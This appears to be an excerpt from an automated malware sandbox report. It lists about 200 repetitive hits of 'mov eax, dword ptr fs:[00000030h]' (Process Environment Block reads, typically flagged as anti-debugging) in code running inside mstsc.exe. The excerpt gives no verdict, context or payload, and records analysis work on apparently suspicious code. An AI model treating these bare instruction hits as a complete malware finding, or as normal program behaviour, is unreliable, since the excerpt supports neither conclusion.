Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04681763 mov eax, dword ptr fs:[00000030h]	5_2_04681763
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04681763 mov eax, dword ptr fs:[00000030h]	5_2_04681763
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04681763 mov eax, dword ptr fs:[00000030h]	5_2_04681763
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04681763 mov eax, dword ptr fs:[00000030h]	5_2_04681763
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04670774 mov eax, dword ptr fs:[00000030h]	5_2_04670774
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04644779 mov eax, dword ptr fs:[00000030h]	5_2_04644779
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04644779 mov eax, dword ptr fs:[00000030h]	5_2_04644779
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04673740 mov eax, dword ptr fs:[00000030h]	5_2_04673740
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C174B mov eax, dword ptr fs:[00000030h]	5_2_046C174B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C174B mov ecx, dword ptr fs:[00000030h]	5_2_046C174B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467174A mov eax, dword ptr fs:[00000030h]	5_2_0467174A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04662755 mov eax, dword ptr fs:[00000030h]	5_2_04662755
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04662755 mov eax, dword ptr fs:[00000030h]	5_2_04662755
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04662755 mov eax, dword ptr fs:[00000030h]	5_2_04662755
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04662755 mov ecx, dword ptr fs:[00000030h]	5_2_04662755
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04662755 mov eax, dword ptr fs:[00000030h]	5_2_04662755
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04662755 mov eax, dword ptr fs:[00000030h]	5_2_04662755
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467A750 mov eax, dword ptr fs:[00000030h]	5_2_0467A750
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F75B mov eax, dword ptr fs:[00000030h]	5_2_0463F75B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F75B mov eax, dword ptr fs:[00000030h]	5_2_0463F75B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F75B mov eax, dword ptr fs:[00000030h]	5_2_0463F75B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F75B mov eax, dword ptr fs:[00000030h]	5_2_0463F75B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F75B mov eax, dword ptr fs:[00000030h]	5_2_0463F75B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F75B mov eax, dword ptr fs:[00000030h]	5_2_0463F75B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F75B mov eax, dword ptr fs:[00000030h]	5_2_0463F75B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F75B mov eax, dword ptr fs:[00000030h]	5_2_0463F75B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F75B mov eax, dword ptr fs:[00000030h]	5_2_0463F75B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046EE750 mov eax, dword ptr fs:[00000030h]	5_2_046EE750
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04669723 mov eax, dword ptr fs:[00000030h]	5_2_04669723
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464D700 mov ecx, dword ptr fs:[00000030h]	5_2_0464D700
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463B705 mov eax, dword ptr fs:[00000030h]	5_2_0463B705
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463B705 mov eax, dword ptr fs:[00000030h]	5_2_0463B705
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463B705 mov eax, dword ptr fs:[00000030h]	5_2_0463B705
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463B705 mov eax, dword ptr fs:[00000030h]	5_2_0463B705
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466270D mov eax, dword ptr fs:[00000030h]	5_2_0466270D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466270D mov eax, dword ptr fs:[00000030h]	5_2_0466270D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466270D mov eax, dword ptr fs:[00000030h]	5_2_0466270D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046FF717 mov eax, dword ptr fs:[00000030h]	5_2_046FF717
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0470970B mov eax, dword ptr fs:[00000030h]	5_2_0470970B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0470970B mov eax, dword ptr fs:[00000030h]	5_2_0470970B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464471B mov eax, dword ptr fs:[00000030h]	5_2_0464471B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464471B mov eax, dword ptr fs:[00000030h]	5_2_0464471B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046437E4 mov eax, dword ptr fs:[00000030h]	5_2_046437E4
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046437E4 mov eax, dword ptr fs:[00000030h]	5_2_046437E4
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046437E4 mov eax, dword ptr fs:[00000030h]	5_2_046437E4
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046437E4 mov eax, dword ptr fs:[00000030h]	5_2_046437E4
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046437E4 mov eax, dword ptr fs:[00000030h]	5_2_046437E4
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046437E4 mov eax, dword ptr fs:[00000030h]	5_2_046437E4
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046437E4 mov eax, dword ptr fs:[00000030h]	5_2_046437E4
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466E7E0 mov eax, dword ptr fs:[00000030h]	5_2_0466E7E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046477F9 mov eax, dword ptr fs:[00000030h]	5_2_046477F9
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046477F9 mov eax, dword ptr fs:[00000030h]	5_2_046477F9
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046FF7CF mov eax, dword ptr fs:[00000030h]	5_2_046FF7CF
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046407A7 mov eax, dword ptr fs:[00000030h]	5_2_046407A7
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_047117BC mov eax, dword ptr fs:[00000030h]	5_2_047117BC
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0470D7A7 mov eax, dword ptr fs:[00000030h]	5_2_0470D7A7
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0470D7A7 mov eax, dword ptr fs:[00000030h]	5_2_0470D7A7
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0470D7A7 mov eax, dword ptr fs:[00000030h]	5_2_0470D7A7
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0471B781 mov eax, dword ptr fs:[00000030h]	5_2_0471B781
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0471B781 mov eax, dword ptr fs:[00000030h]	5_2_0471B781
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04671796 mov eax, dword ptr fs:[00000030h]	5_2_04671796
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04671796 mov eax, dword ptr fs:[00000030h]	5_2_04671796
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046BE79D mov eax, dword ptr fs:[00000030h]	5_2_046BE79D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046BE79D mov eax, dword ptr fs:[00000030h]	5_2_046BE79D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046BE79D mov eax, dword ptr fs:[00000030h]	5_2_046BE79D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046BE79D mov eax, dword ptr fs:[00000030h]	5_2_046BE79D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046BE79D mov eax, dword ptr fs:[00000030h]	5_2_046BE79D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046BE79D mov eax, dword ptr fs:[00000030h]	5_2_046BE79D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046BE79D mov eax, dword ptr fs:[00000030h]	5_2_046BE79D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046BE79D mov eax, dword ptr fs:[00000030h]	5_2_046BE79D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046BE79D mov eax, dword ptr fs:[00000030h]	5_2_046BE79D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046E9060 mov eax, dword ptr fs:[00000030h]	5_2_046E9060
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04646074 mov eax, dword ptr fs:[00000030h]	5_2_04646074
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04646074 mov eax, dword ptr fs:[00000030h]	5_2_04646074
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04647072 mov eax, dword ptr fs:[00000030h]	5_2_04647072
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04670044 mov eax, dword ptr fs:[00000030h]	5_2_04670044
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0471505B mov eax, dword ptr fs:[00000030h]	5_2_0471505B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C6040 mov eax, dword ptr fs:[00000030h]	5_2_046C6040
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04641051 mov eax, dword ptr fs:[00000030h]	5_2_04641051
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04641051 mov eax, dword ptr fs:[00000030h]	5_2_04641051
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463D02D mov eax, dword ptr fs:[00000030h]	5_2_0463D02D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04665004 mov eax, dword ptr fs:[00000030h]	5_2_04665004
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04665004 mov ecx, dword ptr fs:[00000030h]	5_2_04665004
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04648009 mov eax, dword ptr fs:[00000030h]	5_2_04648009
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682010 mov ecx, dword ptr fs:[00000030h]	5_2_04682010
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463C0F6 mov eax, dword ptr fs:[00000030h]	5_2_0463C0F6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467D0F0 mov eax, dword ptr fs:[00000030h]	5_2_0467D0F0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467D0F0 mov ecx, dword ptr fs:[00000030h]	5_2_0467D0F0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046390F8 mov eax, dword ptr fs:[00000030h]	5_2_046390F8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046390F8 mov eax, dword ptr fs:[00000030h]	5_2_046390F8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046390F8 mov eax, dword ptr fs:[00000030h]	5_2_046390F8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046390F8 mov eax, dword ptr fs:[00000030h]	5_2_046390F8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0465B0D0 mov eax, dword ptr fs:[00000030h]	5_2_0465B0D0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463B0D6 mov eax, dword ptr fs:[00000030h]	5_2_0463B0D6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463B0D6 mov eax, dword ptr fs:[00000030h]	5_2_0463B0D6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463B0D6 mov eax, dword ptr fs:[00000030h]	5_2_0463B0D6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463B0D6 mov eax, dword ptr fs:[00000030h]	5_2_0463B0D6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046FB0AF mov eax, dword ptr fs:[00000030h]	5_2_046FB0AF
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_047150B7 mov eax, dword ptr fs:[00000030h]	5_2_047150B7
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046EF0A5 mov eax, dword ptr fs:[00000030h]	5_2_046EF0A5
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046EF0A5 mov eax, dword ptr fs:[00000030h]	5_2_046EF0A5
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046EF0A5 mov eax, dword ptr fs:[00000030h]	5_2_046EF0A5
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046EF0A5 mov eax, dword ptr fs:[00000030h]	5_2_046EF0A5
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046EF0A5 mov eax, dword ptr fs:[00000030h]	5_2_046EF0A5
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046EF0A5 mov eax, dword ptr fs:[00000030h]	5_2_046EF0A5
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046EF0A5 mov eax, dword ptr fs:[00000030h]	5_2_046EF0A5
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C60A0 mov eax, dword ptr fs:[00000030h]	5_2_046C60A0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C60A0 mov eax, dword ptr fs:[00000030h]	5_2_046C60A0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C60A0 mov eax, dword ptr fs:[00000030h]	5_2_046C60A0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C60A0 mov eax, dword ptr fs:[00000030h]	5_2_046C60A0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C60A0 mov eax, dword ptr fs:[00000030h]	5_2_046C60A0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C60A0 mov eax, dword ptr fs:[00000030h]	5_2_046C60A0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C60A0 mov eax, dword ptr fs:[00000030h]	5_2_046C60A0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046800A5 mov eax, dword ptr fs:[00000030h]	5_2_046800A5
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463A093 mov ecx, dword ptr fs:[00000030h]	5_2_0463A093
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04714080 mov eax, dword ptr fs:[00000030h]	5_2_04714080
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04714080 mov eax, dword ptr fs:[00000030h]	5_2_04714080
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04714080 mov eax, dword ptr fs:[00000030h]	5_2_04714080
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04714080 mov eax, dword ptr fs:[00000030h]	5_2_04714080
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04714080 mov eax, dword ptr fs:[00000030h]	5_2_04714080
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04714080 mov eax, dword ptr fs:[00000030h]	5_2_04714080
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04714080 mov eax, dword ptr fs:[00000030h]	5_2_04714080
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463C090 mov eax, dword ptr fs:[00000030h]	5_2_0463C090
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467716D mov eax, dword ptr fs:[00000030h]	5_2_0467716D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0469717A mov eax, dword ptr fs:[00000030h]	5_2_0469717A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0469717A mov eax, dword ptr fs:[00000030h]	5_2_0469717A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04646179 mov eax, dword ptr fs:[00000030h]	5_2_04646179
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463A147 mov eax, dword ptr fs:[00000030h]	5_2_0463A147
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463A147 mov eax, dword ptr fs:[00000030h]	5_2_0463A147
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463A147 mov eax, dword ptr fs:[00000030h]	5_2_0463A147
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04713157 mov eax, dword ptr fs:[00000030h]	5_2_04713157
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04713157 mov eax, dword ptr fs:[00000030h]	5_2_04713157
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04713157 mov eax, dword ptr fs:[00000030h]	5_2_04713157
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046D314A mov eax, dword ptr fs:[00000030h]	5_2_046D314A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046D314A mov eax, dword ptr fs:[00000030h]	5_2_046D314A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046D314A mov eax, dword ptr fs:[00000030h]	5_2_046D314A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046D314A mov eax, dword ptr fs:[00000030h]	5_2_046D314A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04715149 mov eax, dword ptr fs:[00000030h]	5_2_04715149
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467415F mov eax, dword ptr fs:[00000030h]	5_2_0467415F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04677128 mov eax, dword ptr fs:[00000030h]	5_2_04677128
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04677128 mov eax, dword ptr fs:[00000030h]	5_2_04677128
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046FF13E mov eax, dword ptr fs:[00000030h]	5_2_046FF13E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046CA130 mov eax, dword ptr fs:[00000030h]	5_2_046CA130
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466510F mov eax, dword ptr fs:[00000030h]	5_2_0466510F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466510F mov eax, dword ptr fs:[00000030h]	5_2_0466510F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466510F mov eax, dword ptr fs:[00000030h]	5_2_0466510F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466510F mov eax, dword ptr fs:[00000030h]	5_2_0466510F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466510F mov eax, dword ptr fs:[00000030h]	5_2_0466510F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466510F mov eax, dword ptr fs:[00000030h]	5_2_0466510F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466510F mov eax, dword ptr fs:[00000030h]	5_2_0466510F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466510F mov eax, dword ptr fs:[00000030h]	5_2_0466510F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466510F mov eax, dword ptr fs:[00000030h]	5_2_0466510F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466510F mov eax, dword ptr fs:[00000030h]	5_2_0466510F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466510F mov eax, dword ptr fs:[00000030h]	5_2_0466510F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466510F mov eax, dword ptr fs:[00000030h]	5_2_0466510F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466510F mov eax, dword ptr fs:[00000030h]	5_2_0466510F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464510D mov eax, dword ptr fs:[00000030h]	5_2_0464510D
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F113 mov eax, dword ptr fs:[00000030h]	5_2_0463F113
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F113 mov eax, dword ptr fs:[00000030h]	5_2_0463F113
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F113 mov eax, dword ptr fs:[00000030h]	5_2_0463F113
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F113 mov eax, dword ptr fs:[00000030h]	5_2_0463F113
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F113 mov eax, dword ptr fs:[00000030h]	5_2_0463F113
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F113 mov eax, dword ptr fs:[00000030h]	5_2_0463F113
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F113 mov eax, dword ptr fs:[00000030h]	5_2_0463F113
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F113 mov eax, dword ptr fs:[00000030h]	5_2_0463F113
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F113 mov eax, dword ptr fs:[00000030h]	5_2_0463F113
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F113 mov eax, dword ptr fs:[00000030h]	5_2_0463F113
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F113 mov eax, dword ptr fs:[00000030h]	5_2_0463F113
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F113 mov eax, dword ptr fs:[00000030h]	5_2_0463F113
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F113 mov eax, dword ptr fs:[00000030h]	5_2_0463F113
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F113 mov eax, dword ptr fs:[00000030h]	5_2_0463F113
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F113 mov eax, dword ptr fs:[00000030h]	5_2_0463F113
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F113 mov eax, dword ptr fs:[00000030h]	5_2_0463F113
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F113 mov eax, dword ptr fs:[00000030h]	5_2_0463F113
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F113 mov eax, dword ptr fs:[00000030h]	5_2_0463F113
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F113 mov eax, dword ptr fs:[00000030h]	5_2_0463F113
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F113 mov eax, dword ptr fs:[00000030h]	5_2_0463F113
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463F113 mov eax, dword ptr fs:[00000030h]	5_2_0463F113
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04670118 mov eax, dword ptr fs:[00000030h]	5_2_04670118
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046491E5 mov eax, dword ptr fs:[00000030h]	5_2_046491E5
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046491E5 mov eax, dword ptr fs:[00000030h]	5_2_046491E5
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466B1E0 mov eax, dword ptr fs:[00000030h]	5_2_0466B1E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466B1E0 mov eax, dword ptr fs:[00000030h]	5_2_0466B1E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466B1E0 mov eax, dword ptr fs:[00000030h]	5_2_0466B1E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466B1E0 mov eax, dword ptr fs:[00000030h]	5_2_0466B1E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466B1E0 mov eax, dword ptr fs:[00000030h]	5_2_0466B1E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466B1E0 mov eax, dword ptr fs:[00000030h]	5_2_0466B1E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466B1E0 mov eax, dword ptr fs:[00000030h]	5_2_0466B1E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464A1E3 mov eax, dword ptr fs:[00000030h]	5_2_0464A1E3
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464A1E3 mov eax, dword ptr fs:[00000030h]	5_2_0464A1E3
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464A1E3 mov eax, dword ptr fs:[00000030h]	5_2_0464A1E3
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464A1E3 mov eax, dword ptr fs:[00000030h]	5_2_0464A1E3
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464A1E3 mov eax, dword ptr fs:[00000030h]	5_2_0464A1E3
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046381EB mov eax, dword ptr fs:[00000030h]	5_2_046381EB
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046391F0 mov eax, dword ptr fs:[00000030h]	5_2_046391F0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046391F0 mov eax, dword ptr fs:[00000030h]	5_2_046391F0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046501F1 mov eax, dword ptr fs:[00000030h]	5_2_046501F1
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046501F1 mov eax, dword ptr fs:[00000030h]	5_2_046501F1
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046501F1 mov eax, dword ptr fs:[00000030h]	5_2_046501F1
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466F1F0 mov eax, dword ptr fs:[00000030h]	5_2_0466F1F0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466F1F0 mov eax, dword ptr fs:[00000030h]	5_2_0466F1F0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_047081EE mov eax, dword ptr fs:[00000030h]	5_2_047081EE
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_047081EE mov eax, dword ptr fs:[00000030h]	5_2_047081EE
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046501C0 mov eax, dword ptr fs:[00000030h]	5_2_046501C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046501C0 mov eax, dword ptr fs:[00000030h]	5_2_046501C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046551C0 mov eax, dword ptr fs:[00000030h]	5_2_046551C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046551C0 mov eax, dword ptr fs:[00000030h]	5_2_046551C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046551C0 mov eax, dword ptr fs:[00000030h]	5_2_046551C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046551C0 mov eax, dword ptr fs:[00000030h]	5_2_046551C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467E1A4 mov eax, dword ptr fs:[00000030h]	5_2_0467E1A4
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467E1A4 mov eax, dword ptr fs:[00000030h]	5_2_0467E1A4
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_047151B6 mov eax, dword ptr fs:[00000030h]	5_2_047151B6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046731BE mov eax, dword ptr fs:[00000030h]	5_2_046731BE
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046731BE mov eax, dword ptr fs:[00000030h]	5_2_046731BE
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046741BB mov ecx, dword ptr fs:[00000030h]	5_2_046741BB
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046741BB mov eax, dword ptr fs:[00000030h]	5_2_046741BB
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046741BB mov eax, dword ptr fs:[00000030h]	5_2_046741BB
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04644180 mov eax, dword ptr fs:[00000030h]	5_2_04644180
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04644180 mov eax, dword ptr fs:[00000030h]	5_2_04644180
